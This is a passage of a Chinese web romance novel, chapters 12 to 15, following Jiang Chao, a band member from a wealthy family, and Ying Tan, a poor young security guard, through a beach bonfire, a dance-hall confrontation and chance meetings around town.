海风咸湿的气息拂过脸颊,她举着手机靠近,打开摄像头,眼睛专注地看着屏幕。
“……喂。”
有什么忽地握住了她的脚腕,粗砺炙热,带着滚烫的温度。
江潮心跳骤然停了一拍,连呼吸都停滞。冷意泛上脊背,她视线从屏幕上抽离,下意识拔腿。
脚腕处的桎梏被轻易挣脱,她惊魂未定,猛然后退,却又绊到了什么。
一声低沉的闷哼。
“你干什么?”
江潮跌坐在沙面上,被一只有力的手臂揽住。她心跳如鼓,仓促地“啊”了一声,惊慌失措地举起亮着的手机一照。
屏幕的光映亮了隐匿在黑暗中的面容,深邃眉骨压着狭长的眼,薄唇不耐紧抿。
骤然被亮光灼了目,对方似是不适,蹙眉偏开眼睛,伸手在眼前挡了挡。
那只手骨节分明,掌心带着未消退的刀疤。
江潮睁大眼睛,怔住,吊在喉口的气息终于呼出。
她的胸脯剧烈起伏,错愕开口:“……应潭?!”
12. 第 12 章
手机莹白的光同时映亮了江潮的脸。
她的面容苍白,嘴唇血色尽失,桃花似的眼眸睁得很大,浓密眼睫微微发颤。
应潭看见她的时候,她总是温温和和的,眉眼时常染着笑,又什么时候露出过这副慌乱神态。
女孩儿从他的手臂间挣脱,起身时掌心无意间撑住他坚硬的腰腹。
应潭额角青筋跳了一跳,没动,任由她仓皇避开。
指腹柔软的触觉消失不见,他无意识捻了捻手指,气息微微绷紧,“吓着了?”
江潮好半晌才缓过神来。
深夜一个人走在海边,忽然被人攥住了脚腕。任谁都会张皇失措,更何况她心尖本就覆着层如乌云般的阴霾。
再次出声时,她嗓音难以克制地发抖,“你在这里干什么?”
应潭倚着礁石,一只腿曲起,一只腿伸直。他手腕搭在曲着的腿上,“本来想抽根烟。”
片刻停顿,他掀了掀眼皮,解释:“结果看见你往海里走,喊也喊不住。”
江潮深深呼吸,稳了稳声线,仍心有余悸:“我是想拍张照片……”
“拍张照走这么深?”
应潭皱了皱眉,随手把未燃起的烟塞进口袋里,“涨潮被卷走了怎么办。”
“……”
江潮睁着眼,与他对视。
几秒沉默,她伸手指了指他身后的礁石,“那你怎么坐在这里?”
应潭抬了抬眉,偏开视线,淡淡道:“我和你不一样。”
几句间江潮慢慢冷静下来,狂跳不已的心脏也逐渐平缓。
她懊恼于自己方才的惊惶,虽不明白他话中的逻辑,但抿着嘴唇,没再说什么。
又几次的深呼吸,一切无意间外泄的情绪都被压回了心底。
江潮抬起微凉的指,摸了摸脸侧,重新举起手机。
屏幕一角裂开了如蛛网般的细微纹路,不知是不是刚才跌倒时碰到了石子。
江潮动作微顿,又放下手,摸了摸那一角的裂纹。
身侧传来声音:“摔坏了?”
她转头,应潭拍了拍裤缝,站了起来,垂眼看着她的手机。
他眉间蹙起一道浅浅的褶,神态似乎有一瞬间的僵硬,轻啧一声:“多少钱?我赔你。”
江潮收回目光,学着他的语调,“不用你赔。”
只是裂了一角,不影响使用。她开了闪光灯,将摄像头对着大海。
夜晚拍照的效果不尽人意,江潮垂眼看着照片,轻轻叹了口气。
“我扯的你,”
应潭听见了那声叹息,唇角抿起了平直的弧度,语气不耐:“不用什么不用。”
“我有买保险,”江潮说,“不用多少钱。”
应潭顿了顿。
他用的还是他爸不知多少年前买的手机,开个微信要十几秒,对这些都没有概念。
听江潮这么说,他紧绷的肩颈不易察觉地放松,黑眸沉沉盯着她:“那你叹什么气。”
江潮想说是因为费劲儿来拍照,结果拍出来的成品糊得惊人。
还未张口,她目光落在应潭脸上,忽地愣了愣。
海边并不寂静,远处传来的笑声,风卷过浪花的声响,窸窸窣窣的动静编织成和谐的乐曲。
他面上掠过一抹隐忍之色,弓了弓身。
痛楚转瞬即逝,却被江潮敏锐捕捉。她怔神,“我压到你哪里了吗?”
“没有。”
应潭偏开脸,声音骤然冷淡下来:“既然拍完照了,就快点回去。”
江潮觉得古怪,静下心来,回想起刚才。
海边风这般大,他身上气息却热得惊人。她起身的时候,不知碰到了他哪里,好像还踢了他好几脚。
江潮不由得低头扫视一眼,还真的瞥见了应潭裤腿上沾着沙的鞋印,衣摆也凌乱不堪。
她的脸腾地升起温,晃着手机手电筒靠近:“我看看……”
“看什么看?”应潭避开:“没什么好看。”
他瞥了眼她微拧的眉,见她还要凑近,舌抵了抵齿关,“只是胃疼。”
“胃疼?”
江潮嘴唇微张,榛色瞳仁泛起紧张之意,回头往营地看了一眼:“是烧烤不新鲜吗?”
“……不是。”
江潮又看向他,眉头浅浅皱着,担心的模样:“你吃了多少?”
应潭轻啧一声,“我没吃。”
江潮微怔。
她眨了眨眼,意识到了什么,“你晚上没吃饭吗?”
“……”
“中午吃了吗?”
应潭硬邦邦道:“吃了。”
那会儿江潮就说要给他带饭,应潭拒绝了。他来时口袋里揣了个用纸裹好的包子,就着水粗粗解决了一顿。
血气方刚的年纪,一天饿一顿不碍事,撑撑也就过去了。
只是今天中午吃的确实少,到了晚间,胃部就开始隐隐作痛。
应潭偏开视线,手腕忽然被人拉住。
他黑瞳晃了晃,喉结微滚,看着女孩儿拽着自己往帐篷那儿走,没挣开,散漫问了句“干什么”。
“你这么客气干什么?”江潮没回头,挺无奈的语气,“还是不喜欢吃烧烤?”
应潭沉默片刻,从鼻腔里懒散“嗯”了一声,不知道是在应哪一句话。
江潮松开扯着他的手,拿出手机,“不喜欢也该吃点。”
开裂的屏幕映着她的面容,她垂着眼眸,眸光涌动。
年幼时的记忆纷涌而上,江潮好像总是能从别人身上看到自己的影子。
回到营地里之后,江潮去烧烤架那边看了眼。
已经快散场,食材都烤完了,没剩下多少。
陈勉已经开始整理东西,应潭瞥了眼,过去搭了把手。
他几分钟前还因为胃痛而压紧眉,现在又一副没事人的模样,开始收拾场地。
林斯敬的声音于身侧响起:“在看什么?”
江潮收回目光,忍不住开口:“你们这个年纪的男生……”
她的声音停了停,染上困惑,“怎么跟铁打的一样,不吃饭也生龙活虎。”
林斯敬挑了挑眉,抬起手臂,勾唇一笑:“哥可不行,哥不是铁打的,不信你上手摸摸。”
江潮心生无奈,又忽地灵光一现,语速慢下来:“不行的时候多出门走走。”
林斯敬摆着姿势,疑惑地瞅她一眼。
江潮说:“然后你就可以变成行人。”
海边的温度似乎又降了一些,林斯敬轻吸了口气,搓了搓手臂,把袖子拉回去了。
外卖来得很快,江潮特意挑了离得近的餐厅。她上路边去取,回来后找到应潭。<
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他正曲着膝蹲在那儿,齿关咬开一根细绳,把纸盒袋子一类的垃圾打包好,抬眼瞥她。
江潮也弯身,把袋子递给他:“给你。”
应潭动作定住,看了她几秒,扯了扯唇。
他低头,眼中泛过不知冲着谁的淡嘲,冷淡出声:“不要。”
江潮只能看见他头顶的发旋,几根坚硬的短发立着,像他的性格一样冷硬。
“这是中午打包的剩饭,”她索性蹲了下来,小声说,“本来想带回家当夜宵,但现在又觉得吃不下了。”
“你帮忙解决解决?扔掉好可惜。”
空气寂静着,应潭低眸不语,将细绳拧紧,手臂隐隐现出突起的筋脉。
“行吧,”他终于开口,“你放那儿。”
女孩儿弯了弯眼睛,说了声“好”。
她放下袋子,转过身,遥遥回应在喊她的人,声音清脆:“就来。”
落在身侧的影子消失不见,应潭把垃圾收拾好,起身。
越成功他哥下了班,开车过来运走东西。来回两趟,不久前还热热闹闹的沙滩又一次变得空寂。
乐队几人已经走了,应潭瞥了眼后视镜,只看到了空无一人的长径。
“带了饭回去?”越哥关门上车,看看应潭膝上的打包袋,“还挺香。”
应潭看着窗外,“嗯”了一声。
“那几个小年轻人还挺好,”越哥笑笑:“给你发员工餐。”
应潭沉默着,没说话。
窗外路灯接连被抛在身后,光影如潮水般交替着去而复返。
应潭出声,嗓音平静,“越哥,你知道手机该去哪儿修么?”
“你那手机还修什么,”越哥说:“趁早换个新的得了。”
“不是我修,”应潭低头看了看手机时间,漫不经心道,“给别人问的。”
越哥侧目。
十八岁的少年,身量与成熟男人无异,懒懒坐在那儿,大半张面容都被黑暗笼罩,唯有高挺鼻梁上落下了点光。
他没多问,答道:“在保去官方就成,没保险还是找家靠谱的店比较便宜。”
应潭敛眸,淡淡“哦”了一声,“在保不用花钱?”
“不一定,得到店里头去看看情况。”
车驶入小巷,前头路太窄,开不进去了。应潭下了车,与越哥道别,拎着袋子走进夜色。
房东一家人已经睡了,客厅里静悄悄的。应潭进了屋,反手带上门。
小屋里没窗户,不通风。他把外套丢在床上,拎着袋子出去,在楼梯口坐下。
头顶铁丝系着的灯泡摇摇欲坠,应潭垂着眼,解开袋子上的结。
早前便觉得重量过沉,他瞥了眼里头的盒子,嘴唇微微抿了抿。
三菜一汤,还带了盒满满当当的米饭。
他没少吃过剩菜,爸妈刚走、在姑姑家打地铺的那段日子里,天天回家面对的都是残羹剩饭。
……眼前这几个盒子里摆着的,又怎么可能是吃剩下的。
楼下有住户在争吵,嚷嚷着粗俗脏字,撕心裂肺地叫着离婚。
骂声在楼道里回荡,压过了他沉闷跳动着的心脏。
应潭压紧眉,黑眸沉沉,不见光的瞳底凝起无声的风暴。
良久寂静,他轻轻呵出一口气,终于拆开竹筷,低下了头。
13. 第 13 章
篝火晚会之后没几天,江潮收到了应潭的信息,问她修手机花了多少钱。
她没有回复。
过于陈旧的衣物,过度坚守的自尊。
贫穷落魄与咳嗽一样难以掩藏,江潮都清楚地看在了眼里。
江潮没有想过让他出钱,她的性格不会去在意这些小事。更何况那天在海滩边跌倒,也有她自己过于慌张的缘故。
剪好的视频刚发出去就有了不错的反响,观看率和评论数量都十分可观。
涨粉的速度超过了许甘的预期,她兴致勃勃地说要举办庆功宴,又提议去上回听说的那一家舞厅。
“歇会儿吧小祖宗,”林斯敬抬手告饶,“这不刚折腾完么,我可没精神蹦迪了。”
“……好吧,那舞厅过一阵子再去,”许甘瘪了瘪嘴,扒着车窗,“记得给我带点儿好吃的回来。”
江潮那天晚上回来说要找个时间去商城修手机,林斯敬让她等等,他也刚好想买双新鞋。
视频剪完了,他终于腾出时间,坐进车里,调了调后视镜,才想起来问一嘴:“你手机怎么了?”
江潮回答:“屏幕摔坏了。”
“换屏啊?”林斯敬发动车辆,随口道:“那得等多久,买部新的得了。”
江潮不太在意:“也行。”
到了商城,她在柜台处买了新手机,又去咖啡店买咖啡。
林斯敬那边还没结束,江潮对店员说:“两杯拿铁,谢谢。”
商城三楼,应潭踏上下行的自动扶梯,视线往二楼随意一扫,忽地顿住。
将近年底,兴许是因为今年游客分外多,曲溪的商城破天荒地挂上了圣诞装饰。
她站在一棵圣诞树旁,侧颜被灯光映得清透,正抬着脑袋,似乎在看树上挂着的星星。
“那不是,你,你老板吗?”
越成功也看见了,伸手指了指,“应,应哥,要不要去打,打个招呼啊?”
应潭没说话。
他看了她几秒,黑瞳微垂,落向女孩儿手臂上挂着的购物袋。
袋上简洁的品牌图案明晃晃地映在眼底。
发出去的消息久久没有得到回复,答案似乎在此刻突然揭晓。
扶梯下行的速度太慢,迟迟没能抵达终点。
应潭看见一个熟悉的男人向她靠近,她抬头,说了些什么,眼眸弯了弯,把一杯咖啡递了过去。
拿铁。
他记得那种咖啡的名字。
那天在咖啡厅里的记忆回溯,她片刻的怔神、短暂的欲言又止,那时没有被放在心上的神态,忽然变得清晰无比。
他唇角牵起淡嘲弧度,低声喃喃,“原来……”
越成功听见了,茫然问:“原来什么?”
应潭仍未说话,越成功扭头看过去。
少年英俊面容笼着层暗色,本就漆黑的瞳孔透不进一点光亮。
扶梯抵达二楼,应潭直接转身,又踏上前往一楼的扶梯。
越成功跟在他身后,一头雾水:“不是要去,去,手机店吗?”
应潭站在他前面一阶,垂着眼,脸上没什么表情,“用不着了。”
从商城出来,他和越成功吃了顿饭,直径去了舞厅。
他上的是晚班,今天下午就到了。平日里和他交班的人挑起眉,神色古怪:“你小子,看不出来啊。”
应潭进了后头的员工休息室,随手脱了上衣,“什么?”
“装什么傻呢,还以为你清心寡欲的,平时美女搭讪都不理不睬,”那人跟到门口,嗤嗤地笑:“敢情是想钓条大鱼。”
他上下打量应潭,“不过你也确实有这个资本。”
应潭换上纯黑的制服衬衫,睨了男人一眼。
“打什么谜语?”他心中沉沉压着火,此刻分外不耐,抬手扯了扯衣领:“有话直说。”
“这么早来不就是为了桃桃姐吗?”
对方抱着臂,也不恼,“还跟我装。啧,你还真别说,你这款好像还挺对桃桃姐胃口,钓成功的可能性还挺高。”
“他们家也算是咱这儿的地头蛇了,要是哪天你能飞黄腾达,可别忘了拉咱一把。”
应潭皱起眉。
他把自己的衣服扔进储物柜里,转身从男人身边走了出去,丢下一句“少喝点”。
这家舞厅叫作舞厅,但其实性质更像是夜店,二楼还有单独的包厢。
没有八零九零的复古曲风,也没有慢悠悠跳交谊舞的中老年人。
炫彩灯光随着音乐有节奏地闪烁,灯红酒绿、纸醉金迷。来消费的都是些年轻人,随着鼓点晃动,沉溺在迷醉的梦境里。
应潭刚来上班的时候一直拧着眉,耳朵被音乐震得生疼。
但他这种负责镇场子的,面冷一些反倒更唬人。还没来多久,就已经被人叫上“小应哥”了。
今天台上的DJ换了人,风格比先前更激烈燥热。兴许是有什么活动,来的客人更多,也更容易惹出事。
舞池里人挤人,这边和朋友一起来玩儿的女生被揩了油,那边有人说被偷了钱包。
一角微微骚动,应潭倚在墙边,偏头看了一眼,起身。
这儿是正规舞厅,不算乱。但这样的流氓小偷还是每周都能抓到几个。
有些人骂骂咧咧地不承认,有些则唯唯诺诺,涨红着脸狡辩。
这会儿闹事的就是前者,被朋友扯着,还抬着嗓门:“这周围都是人,不小心蹭一下又怎么了?”
“你那怎么能叫蹭一下?都快把我衣服扒掉了!”
“要是这么怕别人往你身上挤,你来什么舞厅啊,买个跳舞机在家里蹦跶得了。”
同行的保安小声说:“最烦遇到这种死缠烂打的了。”
“要我走?凭什么让我走,”那人还在嚷嚷,“我也是花了钱的,我就爱在这块儿站着。”
年轻女生还是第一回遇到这种人,被几个同伴围着,气得都快哭了。
有保安上去劝说,想要平息事态。那男人得寸进尺,梗着脖子说:“要我换个地儿,可以。”
“但这女的得给我道歉!”
“道歉,行,”应潭刚给人拿回钱包,拨开人群过去,冷淡道:“去警局里问问是谁给谁道歉。”
他人高,眉骨上还带着不易察觉的浅淡伤疤,低眼睨人时冷戾不驯。
对方欺软怕硬,显然犯了怂,又不想在朋友面前落了面子,眼神躲闪地
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咕咕哝哝。
“警局,去警局又怎么样?她张口就搁那儿胡咧咧冤枉人,我可什么都没干。”
应潭扯扯唇角,“抬抬头,你觉得我们这里没有监控?”
二楼过道,染着红色大波浪的女人倚着走廊栏杆,随意往下扫了一眼。
身侧经理察言观色,“白小姐还想下去玩吗?我跟DJ说一下。”
白鑫桃伸手指了指,不答反问:“那个人是谁?”
经理低头看。
从二楼俯视,人群突兀停顿的角落分外明显。他顺着白鑫桃的指尖望去,视线微顿。
闹完事被灰溜溜带走的顾客、抓着头发打哈欠的老油条、浑身染着冷锐锋芒的新人。
白鑫桃指的是谁显而易见,经理回答:“那是新请的夜场保安,叫应潭。”
“夜场?”白鑫桃若有所思道:“把他调到白天。”
舞厅的下午场比晚场轻松许多,毕竟夜色总能滋养见不得光的欲/望。
白鑫桃自己同样不常在深夜里来舞厅,白老板虽宠溺女儿,却也不允许她太晚归家。
经理思绪骤转,有些弄不清原因,点头应下,又解释:“夜场是他自己选的。”
“怎么?”
“夜场的时薪更高,”经理说:“小应家里好像欠了挺多钱。”
“是吗?”白鑫桃笑起来:“叫他上来。”
她转身进了包间,身姿娉婷袅娜。经理不敢怠慢,拿着对讲机叫来了人,又在楼梯处提前等待。
响起的脚步声稳而沉,经理快步过去,听见来人平静喊了声“经理”。
“您找我有什么事?”
“小应,我带你去见个人,”
经理往后看了一眼,“白老板的女儿,你等会儿就喊她白小姐。”
应潭稍稍抬眉,“做什么?”
“我也不知道她找你干什么,你机灵点儿。”
经理带着他往前走,压低声音,“态度放恭敬些,嘴巴甜些,要是白小姐让你陪个酒,你就跟她喝几杯,说几句好听的。”
应潭脚步微顿,看了他一眼,瞳底暗色沉沉。
“陪酒?”
包间将近,经理不再多言,冲他使了个眼色,侧身推开了门。
应潭站在那里,偏头看进去。
“小应,进去啊。”
身后有人轻轻一推,应潭舌尖抵了抵唇角内侧,往前走了几步。
女人坐在窗边,正在抽烟。她转过头,也是一张年轻的面庞,只是被浓烈而成熟的妆容模糊了年岁。
“你就是应潭?”她笑了,招招手,“过来。”
应潭没动。
白鑫桃不以为意,从窗边起身。她向应潭走过去,伸出手指,探向他的脸。
那张英俊面容上瞬间浮现起阴暗戾色,应潭霍然偏开脸,退后一步。
他掌背青筋微微绷起,话音冷硬,“老子不干这个。”
白鑫桃手指落了空,眼睫微微一眨。
“……不干这个。”白鑫桃重复,唇角慢慢绽开笑,低下眼,顺势将燃烧着的烟蒂抵向他的脖颈。
“一个背着债的穷鬼,”她像是觉得可笑,“说话时还挺有底气。”
14. 第 14 章
范钱荣三天后才知道这件事。
他忙里忙慌找过去的时候,应潭刚帮人修完车,正坐在榕华街对面,一处不起眼的角落。
“咋回事啊应哥?”
范钱荣把手机放回裤兜里,小跑过去,一张平日里没心没肺的面庞难得露出忧虑。
“你咋就惹上桃姐了?”他扭头看一眼,焦躁道:“也不跟我说一声,还在这儿优哉游哉听人唱歌。”
应潭一只手摘了手套,指间夹着根烟,燃着,但没抽。
他眉眼压着戾气,语气漫不经心:“惹就惹了。”
“桃姐可不好惹——卧槽,你脖子怎么了?”
范钱荣难以置信地靠近,扯着沙哑的嗓子叫唤,“不、不会是桃姐干的吧?”
男人脖颈侧面印着颗烟疤,不大,但狰狞鲜明。
应潭没回答,侧目,“她经常干这种事儿?”
“桃、桃姐好像是有这种癖好……”
应潭嗤笑一声,收回目光,“疯子。”
范钱荣在应潭身边坐下,忧心忡忡。
隔壁街有人在唱歌,范钱荣知道这片儿来了个街头乐队,在网上还挺有名气。
但他没心情去欣赏歌声,脑子乱成一团浆糊,好半晌才憋出一句:“那这舞厅你还去吗?”
应潭散漫低眸,抬起烟往唇边送,意味不明道:“他们想给我加钱。”
范钱荣飚出一声“我草”,震惊了:“为啥啊?”
应潭含着烟,没说话。
闹出那种事,应潭本就没想继续待下去。
那天从包间里一出来,他就直径回了员工休息室,拿了衣服准备走人。
结果没走成,被经理拦了。不仅给他加钱,还说可以给他排全职的班。
在那些人物的眼里,他们这种人大概就像是路边的野犬。不爽时抬脚踹一下也没关系,撒个肉包子就能平事。
薄薄白烟笼着他的眉眼,应潭淡淡问:“你大哥是什么来头?”
范钱荣抓抓头发,“我大哥……他挺牛逼的,他平时都在外地,跟几个大老板混。”
应潭瞥他一眼。
“我是喊他叫大哥,但人家手下小弟数都数不清。”范钱荣讪讪解释,“他在沪都那一块儿可厉害了。”
一根烟燃尽了,应潭起身。
范钱荣一副欲言又止的模样,眼巴巴地跟在他后头。
应潭没回头:“找我想说什么?”
“……应哥,”范钱荣又抓了抓头发,“这舞厅你还是别去了吧。”
白鑫桃这个名字,范钱荣听到过几回。
他们白老大这个人,做事挺讲义气,又有钱有人脉,在曲溪老家名声很响。
所以当初他把白鑫桃送回老家的时候,不少人都在暗地里议论。
听说他那位小女儿在沪都惹出了事儿,被送回来避避风头。
没有人知道具体发生了什么,但白鑫桃的性格众目共睹。
有流言说她伤了人,也有流言说她在校园里霸凌同学出了事……总之都不是什么好话。
应潭走到垃圾桶边,随手丢掉灭了的烟蒂。范钱荣还在抓耳挠腮:“虽然钱多,但是吧,我觉得……”
他指尖松松拎着手套,打断,“我没准备回去。”
范钱荣愣了一下,没反应过来:“……啥?”
“老子是缺钱,”应潭敛着眼,将另一只手的手套也摘了下来,轻嗤,“但也没缺到这种地步。”
十八岁的少年人,野性尚未磨灭,咬着岌岌可危的尊严,不肯松口。
音乐声停了,远处聚集的人群也渐渐散开。应潭没往那儿看,转身往反方向走。
范钱荣回过神来,松了口气,连忙跟上。
他这个人,一放松下来就聒噪。
“我是真没想到会惹出这种麻烦,靠,那女人下手真狠,到底发生了啥啊?”
范钱荣嘀咕,见应潭没说话,又去瞄应潭脖子,“这种疤痕是不是得买个祛疤膏抹抹?”
应潭皱眉:“哪来那么多事儿。”
范钱荣:“……但这留痕迹了多难看。”
“我是什么细皮嫩肉的公子哥?”应潭轻啧,“真要抹,全身上下都得抹个遍。”
范钱荣闭了嘴。
恰好经过一条熟悉的小巷,他停住脚步:“应哥你晚饭吃了没?”
应潭侧头瞥了眼,懒声:“进吧。”
晚市喧哗吵闹,摩托电瓶倚着小道墙侧,杂乱的电线悬于半空。再往里走些,酒味与肉香伴着烟熏锅气一并漫开。
大排档室内座位已满,他们在外头角落圆桌边坐下。
这家海鲜烧烤大排档开了三十余年,在本地美食排行中榜上有名。不过听说这儿的老板想要退休,最近慢慢开始让自己儿子接班了。
“没以前那味儿,”范钱荣吃得满嘴流油,不忘点评,“应哥,我觉得你的手艺比老板儿子好。”
应潭他爸以前开过路边摊,后来有几年经济不景气,改行去干工地。
他小时候常跟在他爸身边,摆张桌子在那儿写作业,忙的时候也会帮把手。
应潭倚着椅背,低眼开了罐啤酒,没说话。
“不然应哥你趁虚而入,趁现在开个烧烤摊,跟他们抢抢生意,”
范钱荣拿纸巾抹了把嘴,“等顾客积累起来了,肯定能赚不少钱。”
应潭喝了口酒,轻呵一声,“也不是不行。”
穿着围裙的老板娘在圆桌之间来来去去,端着餐盘,繁忙不已。
“哎呀,你们是不是那个乐队?”应潭听见女人开口,惊讶又欣喜,“我前些天还刷到了你们的视频!”
应潭微顿,骨节抵着冰凉罐身。
他背对着小巷入口,没有转头。倒是范钱荣闻声探头探脑,瞅了几眼,挺兴奋地说:“我靠,这是那个‘遗失街头’。”
老板娘的声音同时在身后响起,热情地邀请他们入座,又问能不能拍个合照,好让她发朋友圈。
“我是不是也该去要个合照?”范钱荣坐不住了:“等会儿发朋友圈里装逼。”
应潭垂着眼。
人声喧嚣,那道独特的嗓音却清楚地落在他的耳中。他下颌偏过去一点弧度,又很快收回。
“什么遗失乐队,”他开口,状若漫不经心,“很有名么?”
“不算特别有名吧,但也有小几万粉,”
范钱荣已经掏出手机了,随口回一句:“应哥你之前不还坐那儿听人唱歌吗?”
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“听什么?”应潭睨他一眼,淡声:“没听,随便找了个地儿抽根烟而已。”
范钱荣坐不住,起身跑去要了张合照,回来时捧着手机,嘴角都咧到了耳根。
“不瞒你说,”
范钱荣手指在屏幕上戳,“我是小溱的新粉丝。你知道小溱吗?就是他们的主唱,唱歌贼他妈好听。”
应潭意味不明地重复,“……小溱。”
范钱荣头也不抬:“可别说我腻歪,人家粉丝都这么喊她。”
应潭又拿起啤酒喝了口,没说话。
身后传来笑声,听着约莫与他隔了三四桌人。在这般吵闹的大排档里,本该听不见那儿的对话,可他却听得分明。
玩笑打趣、随意闲谈,说着接下来几天要做什么,聊起视频底下的有趣评论。
他听见有个女孩说,“溱溱,有家娱乐公司还发私信想找你签约哎。我要怎么回啊?”
“签什么?这些人没打听过溱溱的背景吗,”另一道男声带着笑,“要签也是签自家公司。”
她也笑,自然地应和那道男声,“嗯,帮我拒绝了吧。”
范钱荣发完朋友圈,把手机放到一旁。
他抬头,瞧见应潭的脸色,纳闷:“咋了应哥,有这么难吃吗?”
“是挺难吃,”应潭起身,脸上没什么表情,“走了。”
他去前台付账,范钱荣拿了几个盒子过来打包。他把饭盒都装进袋里,看向前台时愣了一下。
“老板,”江潮的声音在身后轻轻柔柔地响起,“再拿两罐啤酒。”
应潭没转头,低头从钱包里拿出现金。
老板找了他零钱,熟稔地说了句“下次再来啊帅哥”。他把零钱放回钱包,随手往兜里一揣,转身。
江潮恰好看来。
两人目光撞上,应潭眉眼冷沉、面无表情;江潮眨了眨眼,有些意外,唇角礼节性地弯起一抹笑。
她笑着说,“好巧。你也在这里吃饭?”
这种家教优良的大小姐或许都这样,对待谁都体体面面。
即便她没有回他的信息。
……即便她是家里开公司的富贵千金,而他未来顶破天也就只能当个烧烤摊的小老板。
应潭低眼,黑瞳仿佛冷峻的曜石,在几秒安静后淡淡出声,“……是挺巧。”
“不过,”江潮眸光微转,接过老板递来的两罐啤酒,“你不是不喜欢吃烧烤吗?”
“……”
那天他哪有直白地说过什么,只不过是敷衍地回了一句“嗯”。
应潭目光落在她的脸上,那双眼尾微翘的眼眸弯着,难得泛上一丝狡黠,宛若在等待他陷入窘境。
他静默几秒,扯唇,忽地逼近几步,“开我玩笑?”
江潮微怔。
年轻男人身上的气息倏然靠近,染着蓬勃的荷尔蒙,笼下一片具有逼迫感的阴影。
她唇边的笑登时收起,下意识退后一步,脚后跟抵着了门槛,身形微微一晃。
应潭垂眸看她,唇角似乎挑起了浅淡至极的弧度。
他伸手,稳住她的肩头,转瞬即离。
“站稳点儿,”男人的声音从头顶传来,尾音拖得散漫,“你当自己是不倒翁么。”
15. 第 15 章
门边传来一声“应哥”,应潭抬眼看去。
范钱荣扒着门框探出身子,一对骨碌碌转着的眼睛里明晃晃写满了八卦与好奇。
他还想再说话,嘴巴刚张开,就见应潭抬步经过江潮,“走了。”
范钱荣:“哎——”
应潭没给他多话的机会,三两步便走出了一段距离。范钱荣没法儿,跟上之前忍不住又瞧了江潮一眼。
店内灯光透亮,女孩儿漂亮白皙的面容分外清晰,嘴唇弯起了一点儿上扬的弧度,对他温和地笑了笑,说了句“再见”。
范钱荣捂住心脏,感觉自己一张厚脸皮都快升温了。
出了大排档之后范钱荣跟着应潭不肯走,缠着他问他和江潮是怎么认识的。
应潭手插在兜里,在公交站边等车。
他喝完酒后瞧着疏懒许多,嗓音泛着哑,“至于么。”
范钱荣说怎么不至于。他们在曲溪哪见过这样的大小姐,全身上下没有哪处是不精致的,连头发丝都带着香。
“人家瞅着跟咱就不是一个阶层的,你懂那种感觉吗?就不像是同一个世界的人,”
他仍在兴奋,“你们居然还聊上天了。聊的啥啊?”
应潭没回应,倚着站台的广告牌。
有雨珠顺着顶棚滑落,淅淅沥沥浸进道路。
他不知在想些什么,安静几秒,张口时轻描淡写,“能聊什么,又不是同个世界的人。”
范钱荣不信,“你刚才明明对人家笑了一下。”
应潭淡声说:“你看错了。”
“我咋可能会看错?”范钱荣扯着嗓子:“骗鬼呢,我视力2.0,对面街那人看见没?我连他脸上的麻子都能看清。”
范钱荣跟他认识了五六年,这还是头一回见着应潭对着女生笑。
应哥长得帅,以前上学那会儿,总有别班的女生过来看他,也不乏外向大胆的女生给他递情书,偷偷叫他什么“美强惨”。
但他应哥总是冷冷淡淡的,在家中出事后更是一副拒人千里的姿态。
他察觉到猫腻,但应潭扯上了衣帽,垂着眼靠在那儿,显然不准备再理睬他。
范钱荣想套话也没招儿,在公交等候亭下躲雨,想起手里头打包的饭盒,问应潭要不要带回家。
应潭掀了掀眼皮,说了声“不用”。
范钱荣“哦”了一声,抱怨这家大排档变了口味。
他思维跳跃得快,话没说几句,又拿出手机,点开刚才要来的合照,两根手指扒拉着屏幕,放大照片欣赏。
刚欣赏几秒钟,旁侧男人声音响起,语调淡淡,“怎么就你跟她?”
“那还要几个人?”范钱荣莫名其妙道:“我又不是别人的粉丝,找那么多人合照干嘛。”
雨下得愈大,天际响起轰隆雷声。这样的雷雨天鲜少发生在冬季,范钱荣担心自己挨劈,抬头看了眼天空。
眼角余光瞥见了什么,他转过头,应潭的视线仍旧停留在他的手机屏幕上,嘴唇弧度抿得平直。
“……应哥你想干啥?”范钱荣感受到一丝丝不善的气息,试探发问,“要不我发你一份?”
应潭瞥他一眼,眸光冷冷,“我要这个干什么。”
“那你盯着我手机瞅……”
范钱荣纳闷了,与应潭对视几秒,脑海中灵光一现。
“应哥,这是我好不容易要来的,”他捂了捂手机,作势往兜里藏,“删不得啊。”
应潭静默几秒,偏开眼,轻嗤:“你是觉得我闲得发慌,还是我有病?”
公交到站,应潭没准备等雨停,直径上了车。
或许正是公交的繁忙阶段,车中乘客很多,座位坐满了人,站着的也有不少。
他抬臂握住横杆拉环,刚刚站定,便有才察觉坐到了站的民工擦着身挤过去,嘴里咕哝着“让一让、让一让”。
应潭侧开身,裤腿沾上了一片湿。他低眸,另一侧拎着雨伞的人扭头看来,连忙说了声“不好意思”。
他没在意,复而抬眸,视线平直地望向窗外。
范钱荣冲着他挥舞手臂,应潭掠过他,目光忽地落在某处。
女孩儿小跑着从小巷中出来,用塑料袋挡着头顶。
她停在路边,开了一辆车的后座,探身进去,裙摆翻动之间,露出了一小截白皙的小腿。
片刻翻找,她似乎取出了什么东西,又关上车门往回跑。
应潭眸光沉沉地盯着她看,不由自主地拧起眉。
塑料袋能挡什么风雨。
身边两个大男人,就这么让她一个人冒着雨出来拿东西。
公交缓缓启动,驶过这条街道。小巷被落在窗外,他收回目光,眉间浅褶未散。
车外街景变化,穿过热闹明亮的榕华主街,驶向被夜色笼罩的城镇深处。
应潭下车的时候,雨势稍微弱下了一些。
公交车站离他租住的地方有些距离,他没有找地方买伞,顺着道边店铺的屋檐走,到楼下的时候已经被淋得湿透。
天边划过一道惊雷,映亮了大半夜幕。应潭扯下衣帽,将额前湿漉漉的碎发往后捋,抬步上了楼梯。
房门外等着个人。
不知道是停了电,还是这层的灯泡也坏了,楼道里黯淡幽暗,仅余手机屏幕昏暗的黄光。
应潭看不清那个人的脸,只能隐隐约约看见他的身形。
雷雨天的晚上,一声不吭地站在别人家门口。
他微微皱眉,不知这是不是房东的哪房亲戚,没说话,站定,掏出钥匙。
那人扭头看了过来。
“……应潭?”
他出声,“你是应潭吗?”
应潭将钥匙插进锁孔,动作微顿,没转动。
隐匿在昏暗中的人凑上前来,将手机对准了应潭的脸。“你是应潭,”他靠近,“你还真住在这里!”
应潭敛眼,抽回钥匙。他转过身,平静开口,喊了声“舅舅”。
“你怎么不回我的微信?给你打电话也不接!我找了你好久,还是别人告诉我你住在这儿……”
应潭神色微沉,他刚搬来这里没多久,身边没人知道他的住处。
但他没有问什么。
舅舅按着他的肩膀,口中喷沫,喋喋不休地讲起自家这些年多么不容易,多么辛苦。
